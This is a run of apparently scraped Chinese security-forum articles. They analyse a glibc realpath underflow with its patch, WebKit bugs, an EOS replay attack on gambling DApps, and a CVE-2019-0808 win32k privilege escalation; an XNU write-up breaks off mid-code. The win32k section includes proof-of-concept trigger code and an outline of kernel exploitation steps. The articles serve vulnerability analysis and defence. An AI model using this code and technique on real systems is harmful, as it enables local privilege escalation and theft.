随着勒索软件的流行，随着虚拟货币的增值，黑客通过网络攻击进行获利提供了变现渠道，越来越多的正面暴力攻击正在变得常态化，希望各个厂商、开发者能够重视此类问题，不要造成不必要的损失。
最后，感谢360信息安全部和360网络安全研究院提供的数据支撑。
网站地址：<https://cert.360.cn> | 社区文章 |
# Libc Realpath缓冲区下溢漏洞(CVE–2018–1000001)分析预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞背景
2018年1月11日，OSS-SEC邮件组披露Libc中的Realpath函数存在缓冲区下溢漏洞，CVE编号为CVE-2018-1000001。漏洞的产生是由于GNU
C库没有正确处理getcwd()系统调用返回的相对路径，并且没有对缓冲区边界进行检查，其他库也很可能受此影响。
经过360CERT评估，该漏洞可利用风险等级高，可用于Linux操作系统恶意本地提权root，建议受影响用户尽快完成相应更新。
## 漏洞影响
Ubuntu受影响情况
链接：<https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-1000001.html>
Debian 受影响情况
链接：<https://security-tracker.debian.org/tracker/CVE-2018-1000001>
Red Hat 受影响情况
链接：<https://access.redhat.com/security/cve/cve-2018-1000001>
SUSE 受影响版本
Openstack Cloud Magnum Orchestration 7
SUSE CaaS Platform ALL SUSE Linux Enterprise Desktop 12 SP2
SUSE Linux Enterprise Desktop 12 SP3
SUSE Linux Enterprise Point of Sale 11 SP3
SUSE Linux Enterprise Server 11 SP3-LTSS
SUSE Linux Enterprise Server 11 SP4
SUSE Linux Enterprise Server 12 SP1-LTSS
SUSE Linux Enterprise Server 12 SP2
SUSE Linux Enterprise Server 12 SP3
SUSE Linux Enterprise Server 12-LTSS
SUSE Linux Enterprise Server for Raspberry Pi 12 SP2
SUSE Linux Enterprise Software Development Kit 11 SP4
SUSE Linux Enterprise Software Development Kit 12 SP2
SUSE Linux Enterprise Software Development Kit 12 SP3
SUSE Linux Enterprise for SAP 12 SP1
SUSE OpenStack Cloud 6
openSUSE Leap 42.2
openSUSE Leap 42.3
链接：<https://www.suse.com/security/cve/CVE-2018-1000001/>
archlinux 受影响情况
链接：<https://security.archlinux.org/CVE-2018-1000001>
Fedora 所有版本受影响
链接：<https://bodhi.fedoraproject.org/updates/FEDORA-2018-8e27ad96ed>
## 漏洞分析
该漏洞涉及到两个方面：
（1）kernel的getcwd系统调用
（2）glibc的realpath函数
虽然官方认为这不是内核的问题，但是内核还是提供了补丁。
linux kernel 补丁地址：
<https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94>
getcwd()系统调用会返回当前工作目录的绝对路径，如果当前目录不属于当前进程的根目录（例如：该进程使用chroot设置了一个新的文件系统根目录，但是没有将当前目录的根目录替换成新的），从linux
2.6.36开始，getcwd会返回“(unreachable)”。通过改变当前目录到另一个挂载的用户空间，普通用户可以完成上述的行为。所以当处理不可信来源的路径时，应该检查返回的路径是否以”/”或”(“开头，避免返回一个不可达地址，被认为是相对地址。
漏洞发生处：glibc stdlib/canonicalize.c 的__realpath函数：
如果解析的是一个相对路径(不是以’/’开头的路径)时，就会调用__getcwd()
if (name[0] != '/')
{
if (!__getcwd (rpath, path_max))
{
rpath[0] = '\0';
goto error;
}
dest = __rawmemchr (rpath, '\0');
}
else
{
rpath[0] = '/';
dest = rpath + 1;
}
如果__getcwd()此时返回的是”(unreachable)”，则接下来在解析路径时，发现路径开头并不包含’/’，会在while循环中不断读取dest之前的地址，产生缓冲区下溢。
else if (end - start == 2 && start[0] == '.' && start[1] == '.')
{
/* Back up to previous component, ignore if at root already. */
if (dest > rpath + 1)
while ((--dest)[-1] != '/');
}
之后操作的dest地址就是溢出的地址。
漏洞攻击效果图：
（根据网上公布的exp代码）
## 补丁分析
************************************************************
--- stdlib/canonicalize.c 2018-01-05 07:28:38.000000000 +0000
+++ stdlib/canonicalize.c 2018-01-05 14:06:22.000000000 +0000
@@ -91,6 +91,11 @@
goto error;
}
dest = __rawmemchr (rpath, '\0');
+/* If path is empty, kernel failed in some ugly way. Realpath
+has no error code for that, so die here. Otherwise search later
+on would cause an underrun when getcwd() returns an empty string.
+Thanks Willy Tarreau for pointing that out. */
+ assert (dest != rpath);
}
else
{
@@ -118,8 +123,17 @@
else if (end - start == 2 && start[0] == '.' && start[1] == '.')
{
/* Back up to previous component, ignore if at root already. */
- if (dest > rpath + 1)
- while ((--dest)[-1] != '/');
+ dest--;
+ while ((dest != rpath) && (*--dest != '/'));
+ if ((dest == rpath) && (*dest != '/') {
+ /* Return EACCES to stay compliant to current documentation:
+ "Read or search permission was denied for a component of the
+ path prefix." Unreachable root directories should not be
+ accessed, see https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ */
+ __set_errno (EACCES);
+ goto error;
+ }
+ dest++;
}
else
{
************************************************************
补丁对产生溢出的地方加了一个判断，一旦发现路径不是以’/’开头，便产生报错。
## 修复方案
相关受影响产品已经提供了安全更新，360CERT强烈建议所有受影响用户，及时进行安全更新。
## 时间线
**2018-01-01** 至 **2018-01-01** OSS-SEC邮件组披露该漏洞
**2018-01-24** 至 **2018-01-24** 360CERT完成分析预警报告
## 参考链接
1. <https://mp.weixin.qq.com/s/x69eDc8ke0wcUcwRdhsk4Q>
2. <https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/> | 社区文章 |
作者：[启明星辰ADLab](https://mp.weixin.qq.com/s/iWGH-8cYBfHuYCxl-l6Hjg "启明星辰ADLab")
### 1\. 前言
WebKit
是一个开源的浏览器引擎，不仅应用在很多主流浏览器（Safari，Chrome，UCbrowser，QQBrowser等）上，而且支持Android，iOS，Windows，Linux，macOS等多种平台上的有关web渲染引擎的应用。
启明星辰ADLab对WebKit引擎进行漏洞挖掘和代码审计工作，发现webkit的若干漏洞，都已提交厂商进行修复。
本文将介绍webkit架构和各模块功能，并详细分析webkit各模块的漏洞案例，对 WebKit浏览器漏洞面进行一个较为全面的阐述。
### 2\. Webkit架构和模块
下图是WebKit的架构和模块图。
* WebKit主要包含JavaScritCore，WebCore和Web Template Fundation等主要模块。其中，WebCore主要功能是加载和渲染网页，具体包括HTML解析器，CSS解析器， SVG以及DOM等模块。
* JavaScriptCore是WebKit默认的JavaScript引擎，主要包括低级解释器LLInt，基线JIT Baseline JIT， 低延迟优化的DFG JIT， 高通量优化的FTL JIT，WebAssembly等模块。
* Garbage Collection，即垃圾回收，常用在JavaScript、Java等高级语言中。
* Web Template Fundation提供了多种基本库，类似STL，包括容器，字符串库，智能指针，以及线程管理基础等。
WebKit中的每个模块都可能成为漏洞的重灾区，下面我们选取WebKit模块中的漏洞案例进行详细分析，其中包括了今年ADLab提交的漏洞。
#### 2.1 WebCore ：CVE-2018-12293 等多个整数溢出
CVE-2018-12293是ADLab在6月份提交的WebCore渲染引擎相关的整数溢出漏洞，该漏洞存在于ImageBufferCario.cpp
的WebCore::getImageData函数中。该函数根据可控的width和height属性的乘积创建数组result：
当width和height足够大，它们的乘积就会导致整数溢出；当传递给创建函数的length大小为0时，缓存的创建并不会受影响，根据`ArrayBuffer.cpp:108`，申请数组的大小是0时程序会将分配的长度设置为1。
在页面渲染之前，会先根据前面创建的数组以及width的大小计算destRows缓存的偏移：
显然此时destRows已经是越界索引，但后面的循环过程会不断地向其后填充颜色值，导致堆溢出：
漏洞补丁中修复了多处潜在的整数溢出。针对本漏洞，检查width和height属性的乘积是否溢出；检查横向坐标以及纵向坐标结束的位置的溢出；另外，加入对行数和列数的检查，预防其他的溢出问题：
#### 2.2 runtime：CVE-2016-4622 回调导致越界访问
JavaScriptCore的runtime是为JavaScript的运行提供支撑的代码。在JavaScriptCore中标有“JSC_HOST_CALL”的函数均与JavaScript函数对应。例如arrayProtoFuncSlice与Array对象的slice()函数对应，其调用方法形如：
函数参数可以用一个表达式代替，因此slice函数内部可以形成一个回调，形如：
漏洞CVE-2016-4622产生的根本原因是没有妥善处理可能的回调。代码
逻辑中首先获取了Array的长度，然后在获取slice()的end参数时动态地改变了该Array的长度，使得end >
length，但之后使用fastSlice时仍然根据end参数进行内存拷贝，导致越界访问。
针对本漏洞，开发者在fastSlice之前添加了检查Array的长度的代码，若其已被修改则不再使用fastSlice。这样就修复了这个漏洞。
#### 2.3 JIT：CVE-2017-2547 DFG优化导致边界检查失败
为了平衡JavaScript的功能与运行效率，WebKit的JavaScriptCore选择了分层JIT编译优化的策略。JavaScriptCore由Lexer、Parser、LLInt、Baseline
JIT、DFG JIT以及FTL JIT组成。其工作流程如下图：
* Lexer将输入的字符串分割成词素，然后将词素分成token类；Parser在此基础上建立相应的语法树；LLInt执行Parser生成的字节码。
* 当函数被调用6次、循环至少100次，或者两者的结合，OSR(On-Stack-Replacement)到Baseline JIT。LLInt和Baseline JIT分析收集到的信息，如最近加载的参数值，返回值等，为下一层优化提供推断信息。
* 当函数被执行至少60次、循环至少1000次，OSR到DFG JIT。DFG JIT会根据底层收集的分析信息执行类型推断，消除了许多类型检查。处理失败时会OSR回退到BaseLine JIT。
* 当函数执行几千次或者循环几万次，程序会OSR到FTL JIT，执行更进一步的优化。
CVE-2017-2547是WebKit JIT优化漏洞中的典型，这个漏洞发生在DFG
JIT的边界检查中。DFG对数组边界检查时，首先存储数组访问的最大边界值和最小边界值的范围，然后遍历节点，以便每次访问时总是检查访问数组索引的最大值和最小值的节点是否越界，从而删除其他不必要的访问节点的检查。这在逻辑上是合乎情理的：
但当输入是整数值的时候，代码逻辑会进入下面的if模块。其中最小节点被清0；在后续添加数组边界检查时，只添加了对最大边界的检查，而忽略了最小边界。因此，同时使用负值索引和正值索引访问数组，负值部分的访问会直接绕过DFG生成代码的数组边界检查，达到越界访问的效果。
漏洞的补丁加入了针对“最小边界为负值”的判断。如果满足条件，DFG会直接OSR回退：
#### 2.4 Garbage Collection：CVE-2017-2491 垃圾回收使用错误导致Use-After-Free
垃圾回收过程中，程序从所有的根出发寻找对象被引用情况，如果某对象存在引用则被标记为活动对象，否则相应的内存空间应该被释放。WebKit中定义的根包括进程栈、JavaScript执行环境栈、MarkedArgumentBuffer。
漏洞CVE-2017-2491涉及对垃圾回收的错误使用。在CachedCall中漏洞代码使用`Vector<JSValue>`类型的变量存储函数调用所需参数。例如正则表达式的replace函数，传入其中的参数可能是大量的，这时代码只能使用Vector或类似的结构来接收参数。但内存压力触发垃圾回收时，Vector无法被垃圾回收算法标记，导致相关内存被错误释放。
之后，开发者使用MarkedArgumentBuffer替换Vector对象，因此该漏洞得到修复：
#### 2.5 WebAssembly：CVE-2018-4121 wasm文件解析导致越界写
WebAssembly是一种新兴的Web技术，它尝试通过字节码标准解决JavaScript的运行效率问题。WebAssembly模块在WebKit中受JavaScriptCore控制，其字节码通过wasm文件传递。wasm文件类似PE文件有不同的区段，例如Type、Import、Function、Table、Code、Data等。WebAssembly要求每种区段在wasm文件中最多出现一次。
漏洞CVE-2018-4121的PoC是一个wasm文件，其中含有两个Function段。WebKit
JavaScriptCore在解析PoC时，只为Function段准备了一个Vetctor来保存函数列表的签名，且使用uncheckedAppend分两次把不同Function段的内容附加到同一个Vector。如果第一次可以把Vector装满，第二次就能导致越界写发生。
WebAssembly要求Known区段的所有种类的id顺序递增，例如Function区段的id为3，Import区段的id为2，则Function区段必须位于Import区段的后面；Custom区段不属于Known，其id为0，因此可以不遵循上述递增规则。代码在validateOrder函数想当然地表达了这个规则：
代码会使Custom区段后面的任意区段通过检查，这是漏洞产生的根本原因。
为了修补这个漏洞，开发者通过定义不存在的区段Section::Begin(id定义为0)，把Custom区段和最初始的情况区别开来：
同时使用previousKnownSection代替previousSection，这样validateOrder函数的previousKnownSection参数不再包含Custom区段，只处理Known区段来保证其遵循id的“顺序递增”规则，从而修补了这个漏洞：
### 参考链接
[1] <https://webkit.org/>
[2] <https://github.com/WebKit/webkit>
[3] <https://trac.webkit.org/wiki/JavaScriptCore>
[4] <https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/>
[5] <https://www.geeksforgeeks.org/mark-and-sweep-garbage-collection-algorithm/>
[6] <https://webassembly.org/docs/binary-encoding/>
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# EOS 回滚攻击手法分析之重放篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
by yudan@慢雾安全团队
## 事件背景：
据慢雾区情报，今日凌晨，攻击 BetDice、ToBet 等游戏的黑客团伙再次对 LuckyMe、GameBet 发动攻击，造成数千 EOS 的损失。
经过慢雾安全团队的分析，此次黑客采用的手法有别于上一次的攻击。本次的攻击为针对项目方的重放攻击。
## 攻击回顾：
据慢雾安全团队威胁情报分析，截止北京时间上午8时，攻击者 **ultnavrzhium** 此次攻击共投入金额 3773.95 EOS，收入 6906.6
EOS，共获利 3132.65 EOS。
## 攻击手法：
本次攻击手法与上一篇文章（地址链接：[https://mp.weixin.qq.com/s/WyZ4j3O68qfN5IOvjx3MOg）](https://mp.weixin.qq.com/s/WyZ4j3O68qfN5IOvjx3MOg%EF%BC%89)
有所不同。但依然利用到了黑名单的手法。以下是攻击详细过程。
(1)第一步，攻击者调用非黑名单合约的 transfer 函数，函数内部有一个 inline action 进行下注，from
填写的是攻击者控制的非黑名单合约帐号，to 填写的是游戏合约帐号。这时，攻击者发送交易是发向游戏合约自己的全节点服务器。使用的是黑名单帐号进行。
(2)第二步，游戏节点读取到了这笔交易，立刻进行开奖，如果中奖，将对攻击者控制的非黑名单帐号发送 EOS。到这里和上一篇黑名单篇的第一步和第二步都是一样的。
(3)第三步，因为项目方开奖和交易 id 绑定，所以按照上一篇文章的说法,下注交易和开奖交易都会被回滚。即使项目方给攻击者开奖了，到了 bp
节点的时候，由于查询不到开奖 id，开奖交易也会失败。所以为什么还是能攻击成功呢？答案在第四步
(4)上一篇文章说到，在攻击者攻击的时候，所有的逻辑都是在项目方的节点完成的，根据这一点，攻击者就可以在项目方节点广播交易时监听到开奖结果，如果这笔下注是中的，立马以同样的参数（如种子）使用攻击者控制的同一合约帐号发起相同的交易，actor
为合约帐号本身，即可成功中奖。
本次攻击可以参考下面的图：
## 防御建议：
1、节点开启 read only 模式，防止节点服务器上出现未确认的块
2、建立开奖依赖，如订单依赖，开奖的时候判断订单是否存在，就算在节点服务器上开奖成功，由于在 bp 上下注订单被回滚，所以相应的开奖记录也会被回滚。
3、项目方在玩家下注的时候校验交易中的`actor`和`from`是否是同一帐号。
4、接入慢雾安全团队孵化的DApp防火墙—FireWallX(体验地址：[https://firewallx.io/console/index.html)，](https://firewallx.io/console/index.html\)%EF%BC%8C)
本次LuckyMe攻击者帐号（ultnavrzhium）在LuckyMe被攻击前已在防火墙合约监控名单中。
查询地址：
[https://www.eosx.io/account/firewall.x?mode=contract&sub=tables&table=contractlst&lowerBound=&upperBound=&limit=10000](https://www.eosx.io/account/firewall.x?mode=contract&sub=tables&table=contractlst&lowerBound=&upperBound=&limit=10000)
## 参考链接：
EOS 回滚攻击手法分析之黑名单篇：
<https://mp.weixin.qq.com/s/WyZ4j3O68qfN5IOvjx3MOg> | 社区文章 |
# CVE-2019-0808 从空指针解引用到权限提升
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Kerne7@知道创宇404实验室
## 前言
选择这个漏洞的原因是和之前那个cve-2019-5786是在野组合利用的，而且互联网上这个漏洞的资料也比较多，可以避免在踩坑的时候浪费过多的时间。
首先跟据 Google 的博客，我们可以了解到这个漏洞在野外被用作在windows7 32位系统上的浏览器沙盒逃逸，并且可以定位到漏洞函数
win32k！MNGetpItemFromIndex 。
在复现漏洞之前有几个问题浮现出来了，首先这个漏洞被用作沙盒逃逸，那么浏览器沙盒逃逸有哪几种方式？这个漏洞除了沙盒逃逸还可以用来做什么？其次空指针解引用的漏洞如何利用？这些可以通过查阅相关资料来自行探索。
## 从poc到寻找漏洞成因
在我分析这个漏洞的时候已经有人公布了完整的利用链，包括该漏洞的 poc 、 exp 和浏览器利用的组合拳。但是本着学习的目的，我们先测试一下这个 poc
，看下漏洞是如何触发的。搭建双机调试环境之后，运行 poc 导致系统 crash ，通过调试器我们可以看到
加载符号之后查看一下栈回溯。
可以看到大概是在 NtUserMNDragOver 之后的调用流程出现了问题，可能是符号问题我在查看了 Google 的博客之后没有搜索到
MNGetpItemFromIndex 这个函数，从栈回溯可以看到最近的这个函数是 MNGetpItem ，大概就是在这个函数里面。
大概看了下函数触发顺序之后，我们看下poc的代码是如何触发crash的。首先看下poc的代码流程。
首先获取了两个函数的地址 NtUserMNDragOver 和 NtAllocateVirtualMemory ，获取这两个函数的地址是因为参考栈回溯中是由
win32k!NtUserMNDragOver
函数中开始调用后续函数的，但是这个函数没有被导出，所以要通过其他函数的地址来导出。NtAllocateVirtualMemory函数是用来后续分配零页内存使用的。
pfnNtUserMNDragOver = (NTUserMNDragOver)((ULONG64)GetProcAddress(LoadLibraryA("USER32.dll"), "MenuItemFromPoint") + 0x3A); pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
然后设置Hook EVENT_SYSTEM_MENUPOPUPSTART事件和WH_CALLWNDPROC消息。
SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,hInst,DisplayEventProc,GetCurrentProcessId(),GetCurrentThreadId(),0);
之后设置了两个无模式拖放弹出菜单（之前创建的，但是不影响poc的逻辑顺序），即hMenuRoot和hMenuSub。hMenuRoot会被设置为主下拉菜单，并将hMenuSub设置为其子菜单。
HMENU hMenuRoot = CreatePopupMenu();
HMENU hMenuSub = CreatePopupMenu();
MENUINFO mi = { 0 };
mi.cbSize = sizeof(MENUINFO);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuRoot, &mi);
SetMenuInfo(hMenuSub, &mi);
AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root");
AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");
创建了一个类名为#32768的窗口
hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
根据msdn我们可以查询到这个#32768为系统窗口，查的资料，因为CreateWindowA()并不知道如何去填充这些数据，所以直接调用多个属性被置为0或者NULL，包括创建的菜单窗口对象属性
tagPOPUPMENU->spmenu = NULL 。
然后设置wndclass的参数，再使用CreateWindowsA来创建窗口。参数可以确保只能从其他窗口、系统或应用程序来接收窗口消息。
WNDCLASSEXA wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXA);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInst;
wndClass.lpszMenuName = 0;
wndClass.lpszClassName = "WNDCLASSMAIN";
RegisterClassExA(&wndClass);
hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
接着，使用 TrackPopupMenuEx() 来弹出 hMenuRoot ，然后再通过 GetMessageW 来获取消息，然后在
WindowHookProc 函数中由于bOnDraging被初始化为FALSE，所以直接会执行 CallNextHookEx
。由于触发了EVENT_SYSTEM_MENUPOPUPSTART事件，然后传递给 DisplayEventProc ，由于 iMenuCreated
被初始化为0，所以进入0的分支。通过 SendMessageW() 将 WM_LMOUSEBUTTON 窗口消息发送给 hWndMain 来选择
hMenuRoot 菜单项(0x5, 0x5)。这样就会触发 EVENT_SYSTEM_MENUPOPUPSTART 事件，再次执行
DisplayEventProc ，由于刚刚 iMenuCreated 自增了，所以进入分支1，导致发送消息使鼠标挪到了坐标（0x6，0x6），然后
iMenuCreated
再次进行自增。然后在主函数的消息循环中iMenuCreated大于等于1进入分支，bOnDraging被置为TRUE，然后调用被我们导出的pfnNtUserMNDragOver函数。
TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
if (iMenuCreated >= 1) {
bOnDraging = TRUE;
pfnNtUserMNDragOver(&pt, buf);
break;
}
}
LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
if (!bOnDraging) {
return CallNextHookEx(0, code, wParam, lParam);
}
if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT)){
bIsDefWndProc = FALSE;
printf("[*] HWND: %p \n", cwp->hwnd);
SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);
}
return CallNextHookEx(0, code, wParam, lParam);
}
VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook,DWORD event,HWND hwnd,LONG idObject,LONG idChild,DWORD idEventThread,DWORD dwmsEventTime)
{
switch (iMenuCreated)
{
case 0:
SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005);
break;
case 1:
SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006);
break;
}
printf("[*] MSG\n");
iMenuCreated++;
}
poc的流程已经分析完了，但是还是有部分的代码没有进入，比如 WindowHookProc 的 cwp->message ==
WM_MN_FINDMENUWINDOWFROMPOINT 分支，该分支通过 SetWindowLongPtrA
来改变窗口的属性。把默认的过程函数替换为SubMenuProc，SubMenuProc函数在收到 WM_MN_FINDMENUWINDOWFROMPOINT
消息后把过程函数替换为默认的过程函数，然后返回我们自定义的FakeMenu的句柄。
LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (msg == WM_MN_FINDMENUWINDOWFROMPOINT)
{
SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
return (ULONG)hWndFakeMenu;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
接下来还要我们从漏洞的代码本身来分析。我们来看下调用pfnNtUserMNDragOver之后发生了什么，以及什么时候能收到
WM_MN_FINDMENUWINDOWFROMPOINT 这个消息。通过我们之前看到 windbg 的栈回溯中，我们在IDA中逐渐回溯函数，在
xxxMNMouseMove 函数中发现了 xxxMNFindWindowFromPoint 就在 xxxMNUpdateDraggingInfo
之前，xxxMNUpdateDraggingInfo 函数也是我们栈回溯中的函数。
在函数 FindWindowFromPoint 函数中通过 xxxSendMessage 发送消息 235 也是 poc 中定义的
WM_MN_FINDMENUWINDOWFROMPOINT ，然后返回 v6
也就是获取的窗口句柄。然后在函数MNGetpItem中导致了空指针解引用得问题。
## 从空指针解引用到任意代码执行
触发了漏洞之后我们如何利用是个问题，首先的问题是把空指针解引用异常解决掉，在 windows7 版本上可以使用
ntdll!NtAllocateVirtualMemory 来分配零页内存。可以看到在申请零页内存之后不会产生异常导致crash了。
为了进入到 MNGetpItem 的 if 分支中，我们需要对零页内存中的数据进行设置。并且通过查询资料得知，MNGetpItem 中的参数为
tagPOPUPMENU 结构，uDraggingIndex又可以从tagMSG的wParam取到，所以这个函数的返回值是在用户态可控的。
进入 if 分支之后我们继续看程序流程,继续跟进 xxxMNSetGapState 函数。
进入 xxxMNSetGapState 可以看到再次出现了我们之前的漏洞函数 MNGetpItem ，其中 v5 是 MNGetpItem 的返回值，v6
= v5，后续中有 v6 或的操作，MNGetpItem 的返回值又是用户态可控，利用这一点我们可以实现任意地址或0x40000000u的操作。
如何把这个能力转化为任意地址读写呢？公开的exp中采用了窗口喷射的方法，类似于堆喷射创建大量的 tagWND 再通过 HMValidateHandle
函数来泄露内核地址来进行进一步的利用。HMValidateHandle
允许用户获得具有对象的任何对象的用户级副本。通过滥用此功能，将包含指向其在内核内存中位置的指针的对象（例如
tagWND（窗口对象））”复制“到用户模式内存中，攻击者只需获取它们的句柄即可泄漏各种对象的地址。这里又需要导出 HMValidateHandle
函数来进一步利用。再导出了 HMValidateHandle
之后可以泄露对象的地址了，然后我们利用窗口对象喷射的方法，寻找两个内存位置相邻的对象，通过修改窗口附加长度 tagWND+0x90->cbwndExtra
为0x40000000u来，再次修改第二个窗口对象的 strName.Buffer 指针，再通过设置 strName 的方式来达到任意地址写。
有了任意代码写，如果使 shellcode 在内核模式中执行呢？可以利用 tagWND. bServerSideWindowProc
字段，如果被置位那话窗口的过程函数就实在内核模式的上下文中执行,最后可以实现用户态提权。
## 后记
通过这个漏洞的分析和复现也学到了不少在内核模式下的操作。分析到这里已经算结束了，但是如何达到在野外实现的浏览器沙盒逃逸的功能，还有之前提出的问题都是还需要思考的。那我们通过这个漏洞的复现及利用过程，还要思考这个漏洞是如何被发现的，是否可以通过poc中的一些功能来
fuzz 到同样的空指针解引用，以及我们如何去寻找这类漏洞。
## 参考链接
<https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html>
<https://github.com/ze0r/cve-2019-0808-poc/> | 社区文章 |
**作者：Zhuo Liang of Qihoo 360 Nirvan Team
博客：<https://blogs.projectmoon.pw/2018/11/30/A-Late-Kernel-Bug-Type-Confusion-in-NECP/>**
### 1 介绍
Apple 对于代码开放的态度一直为广大的安全研究员们所诟病，代码更新总是扭扭捏捏滞后很多于系统发版时间。比如当前 macOS 的最新版本为 Mojave
10.14.1，而最新的代码还停留在 10.13.6。本文将要提到的是笔者在审计 10.13.6
的代码时发现的一个内核漏洞，而在验证的时候发现在最新版本已经无法触发，经过分析发现这不是一个 0-day，而是一个已经在 macOS 10.14 和 iOS
12.0 上已经修补了的问题。由于这个漏洞的触发没有权限限制和强制访问控制，漏洞本身也有一定代表性，特记录分享一下。
### 2 背景知识
#### 2.1 一切皆文件
`*nix` 世界众多的优秀品质(所谓设计哲学)最广为人知的可能就是“一切皆文件”了。在这种设计理念下，在 `*nix` 下特别是在 Linux
里，大部分内核对象，比如普通文件、socket、共享内存和信号量等，都是由内核给用户态暴露一个文件描述符，并提供对于文件描述符的统一操作，常见的比如
read、write、close 和 select 等。
很显然，内核对于这些文件描述符本身所代表的对象类型都是有标记的，通过类型将这些同样的系统调用分配到各自的回调函数中，这就是 C 语言里的多态。 Linux
里另外一个重度依赖多态的模块就是 VFS，与本文要谈的漏洞无关，所以此处不谈。
macOS 和 iOS 内核(以下统一称 XNU)的部分代码也遵循“一切皆文件”这条原则。在 XNU
里，内核为每个进程维护一张文件描述符与文件表项的映射表`struct filedesc *
p_fd`，每一个文件表项即为每一个与文件有关操作的第一步需要获取的对象，其定义如下：
// bsd/sys/file_internal.h
/*
* Kernel descriptor table.
* One entry for each open kernel vnode and socket.
*/
struct fileproc {
unsigned int f_flags;
int32_t f_iocount;
struct fileglob * f_fglob;
void * f_wset;
};
在这个结构体的成员中，最重要的一项即为 `struct fileglob * f_fglob`，其定义如下：
// bsd/sys/file_internal.h
struct fileglob {
LIST_ENTRY(fileglob) f_msglist; /* list of active files */
int32_t fg_flag; /* see fcntl.h */
int32_t fg_count; /* reference count */
int32_t fg_msgcount; /* references from message queue */
int32_t fg_lflags; /* file global flags */
kauth_cred_t fg_cred; /* credentials associated with descriptor */
const struct fileops {
file_type_t fo_type; /* descriptor type */
int (*fo_read)(struct fileproc * fp, struct uio * uio, int flags,
vfs_context_t ctx);
int (*fo_write)(struct fileproc * fp, struct uio * uio, int flags,
vfs_context_t ctx);
#define FOF_OFFSET 0x00000001 /* offset supplied to vn_write */
#define FOF_PCRED 0x00000002 /* cred from proc, not current thread */
int (*fo_ioctl)(struct fileproc * fp, u_long com, caddr_t data,
vfs_context_t ctx);
int (*fo_select)(struct fileproc * fp, int which, void * wql,
vfs_context_t ctx);
int (*fo_close)(struct fileglob * fg, vfs_context_t ctx);
int (*fo_kqfilter)(struct fileproc * fp, struct knote * kn,
struct kevent_internal_s * kev,
vfs_context_t ctx);
int (*fo_drain)(struct fileproc * fp, vfs_context_t ctx);
} * fg_ops;
off_t fg_offset;
void * fg_data; /* vnode or socket or SHM or semaphore */
void * fg_vn_data; /* Per fd vnode data, used for directories */
lck_mtx_t fg_lock;
#if CONFIG_MACF
struct label * fg_label; /* JMM - use the one in the cred? */
#endif
};
在 `struct fileglob` 中，需要关注的几个成员如下：
a) fg_flag 对于文件操作的权限，比如 FWRITE和FREAD，读写操作对应的不同类型的对象有不同的解释。
b) fileops 文件操作定义，其中需要关注 fo_type 也就是对象类型，在 XNU 中目前存在的几种类型如下：
// bsd/sys/file_internal.h
/* file types */
typedef enum {
DTYPE_VNODE = 1, /* file */
DTYPE_SOCKET, /* communications endpoint */
DTYPE_PSXSHM, /* POSIX Shared memory */
DTYPE_PSXSEM, /* POSIX Semaphores */
DTYPE_KQUEUE, /* kqueue */
DTYPE_PIPE, /* pipe */
DTYPE_FSEVENTS, /* fsevents */
DTYPE_ATALK, /* (obsolete) */
DTYPE_NETPOLICY, /* networking policy */
} file_type_t;
c) `fg_data` 代表真正的对象以及上下文信息，`fileops` 里的 `fo_*` 回调函数最终都是操作对应的 `fg_data` 对象。
下面以 socket 的创建为例说明上述大致流程。
// bsd/kern/uipc_syscall.c
static int
socket_common(struct proc * p, int domain, int type, int protocol, pid_t epid,
int32_t * retval, int delegate)
{
...
